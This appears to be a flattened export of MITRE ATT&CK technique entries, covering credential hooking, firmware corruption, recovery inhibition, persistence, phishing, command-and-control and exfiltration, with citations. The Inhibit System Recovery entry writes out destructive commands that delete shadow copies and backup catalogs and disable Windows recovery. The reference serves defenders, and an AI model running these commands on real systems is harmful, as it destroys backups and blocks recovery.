Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

enterprise-attack

Credential API Hooking

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/004 external_id: T1056.004 source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017. url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918 source_name: Microsoft Hook Overview description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx source_name: Elastic Process Injection July 2017 description: Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process source_name: Adlice Software IAT Hooks Oct 2014 description: Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017. url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ source_name: MWRInfoSecurity Dynamic Hooking 2015 description: Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017. url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ source_name: HighTech Bridge Inline Hooking Sept 2011 description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017. url: https://www.exploit-db.com/docs/17802.pdf source_name: Volatility Detecting Hooks Sept 2012 description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html source_name: PreKageo Winhook Jul 2011 description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. url: https://github.com/prekageo/winhook source_name: Jay GetHooks Sept 2011 description: Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017. url: https://github.com/jay/gethooks source_name: Zairon Hooking Dec 2006 description: Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017. url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ source_name: EyeofRa Detecting Hooking June 2017 description: Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017. url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ source_name: GMER Rootkits description: GMER. (n.d.). GMER. Retrieved December 12, 2017. url: http://www.gmer.net/ source_name: Microsoft Process Snapshot description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017. url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx source_name: StackExchange Hooks Jul 2012 description: Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017. url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis

kill_chain_name: mitre-attack phase_name: credential-access

Windows

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards. In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).

enterprise-attack

Firmware Corruption

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1495 external_id: T1495 source_name: cisa_malware_orgs_ukraine description: CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-057a source_name: dhs_threat_to_net_devices description: U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022. url: https://cyber.dhs.gov/assets/report/ar-16-20173.pdf source_name: MITRE Trustworthy Firmware Measurement description: Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. url: http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research source_name: Symantec Chernobyl W95.CIH description: Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019. url: https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99

kill_chain_name: mitre-attack phase_name: impact

Linux

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options. Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom) A number of native Windows utilities have been used by adversaries to disable or delete system recovery features: * <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code> * [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code> * <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code> * <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code> * <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system * <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware) On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations. Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)

enterprise-attack

Inhibit System Recovery

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1490 external_id: T1490 source_name: Dark Reading Code Spaces Cyber Attack description: Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023. url: https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack source_name: FireEye WannaCry 2017 description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html source_name: Talos Olympic Destroyer 2018 description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html source_name: Diskshadow description: Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023. url: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow source_name: Crytox Ransomware description: Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023. url: https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware source_name: Rhino Security Labs AWS S3 Ransomware description: Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023. url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/ source_name: ZDNet Ransomware Backups 2020 description: Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023. url: https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/ source_name: disable_notif_synology_ransom description: TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved October 19, 2022. url: https://twitter.com/TheDFIRReport/status/1498657590259109894

kill_chain_name: mitre-attack phase_name: impact

Windows

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>. Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)

enterprise-attack

Netsh Helper DLL

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/007 external_id: T1546.007 source_name: Demaske Netsh Persistence description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html source_name: TechNet Netsh description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. url: https://technet.microsoft.com/library/bb490939.aspx source_name: Github Netsh Helper CS Beacon description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. url: https://github.com/outflankbv/NetshHelperBeacon

kill_chain_name: mitre-attack phase_name: persistence

Windows

Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

enterprise-attack

Spearphishing via Service

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1566/003 external_id: T1566.003 source_name: Lookout Dark Caracal Jan 2018 description: Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018. url: https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

kill_chain_name: mitre-attack phase_name: initial-access

Linux

Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.

enterprise-attack

Internal Proxy

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1090/001 external_id: T1090.001 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf source_name: Trend Micro APT Attack Tools description: Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015. url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)

enterprise-attack

System Script Proxy Execution

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1216 external_id: T1216 source_name: GitHub Ultimate AppLocker Bypass List description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018. url: https://github.com/api0cradle/UltimateAppLockerByPassList source_name: LOLBAS Project description: Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022. url: https://github.com/LOLBAS-Project/LOLBAS#criteria

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

enterprise-attack

Dead Drop Resolver

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1102/001 external_id: T1102.001 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.

enterprise-attack

Junk Data

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1001/001 external_id: T1001.001 source_name: FireEye SUNBURST Backdoor December 2020 description: FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. url: https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

kill_chain_name: mitre-attack phase_name: command-and-control

Linux

Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.

enterprise-attack

Spearphishing Service

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1598/001 external_id: T1598.001 source_name: ThreatPost Social Media Phishing description: O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020. url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.

enterprise-attack

Container API

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/007 external_id: T1552.007 source_name: Unit 42 Unsecured Docker Daemons description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021. url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/ source_name: Docker API description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021. url: https://docs.docker.com/engine/api/v1.41/ source_name: Kubernetes API description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/

kill_chain_name: mitre-attack phase_name: credential-access

Containers

Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019) Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020) Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)

enterprise-attack

Domains

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1584/001 external_id: T1584.001 source_name: Krebs DNS Hijack 2019 description: Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022. url: https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/ source_name: ICANNDomainNameHijacking description: ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017. url: https://www.icann.org/groups/ssac/documents/sac-007-en source_name: Palo Alto Unit 42 Domain Shadowing 2022 description: Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023. url: https://unit42.paloaltonetworks.com/domain-shadowing/ source_name: Microsoft Sub Takeover 2020 description: Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020. url: https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover

kill_chain_name: mitre-attack phase_name: resource-development

PRE

Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted). Adversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) Microsoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR)

enterprise-attack

SQL Stored Procedures

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1505/001 external_id: T1505.001 source_name: NetSPI Startup Stored Procedures description: Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server – Part 1: Startup Stored Procedures. Retrieved July 8, 2019. url: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ source_name: Kaspersky MSSQL Aug 2019 description: Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019. url: https://securelist.com/malicious-tasks-in-ms-sql-server/92167/ source_name: Microsoft xp_cmdshell 2017 description: Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019. url: https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017 source_name: Microsoft CLR Integration 2017 description: Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019. url: https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017 source_name: NetSPI SQL Server CLR description: Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019. url: https://blog.netspi.com/attacking-sql-server-clr-assemblies/

kill_chain_name: mitre-attack phase_name: persistence

Windows

Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices. [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)

enterprise-attack

Network Device Authentication

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/004 external_id: T1556.004 source_name: Mandiant - Synful Knock description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020. url: https://www.mandiant.com/resources/synful-knock-acis source_name: Cisco IOS Software Integrity Assurance - Image File Verification description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13

kill_chain_name: mitre-attack phase_name: persistence

Network

Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files. To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

enterprise-attack

Disk Content Wipe

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1561/001 external_id: T1561.001 source_name: DOJ Lazarus Sony 2018 description: Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. url: https://www.justice.gov/opa/press-release/file/1092091/download source_name: Novetta Blockbuster Destructive Malware description: Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016. url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf source_name: Novetta Blockbuster description: Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf source_name: Microsoft Sysmon v6 May 2017 description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017. url: https://docs.microsoft.com/sysinternals/downloads/sysmon

kill_chain_name: mitre-attack phase_name: impact

Linux

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco) Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

enterprise-attack

Exfiltration Over Unencrypted Non-C2 Protocol

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1048/003 external_id: T1048.003 source_name: copy_cmd_cisco description: Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

kill_chain_name: mitre-attack phase_name: exfiltration

Linux

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)

enterprise-attack

Dylib Hijacking

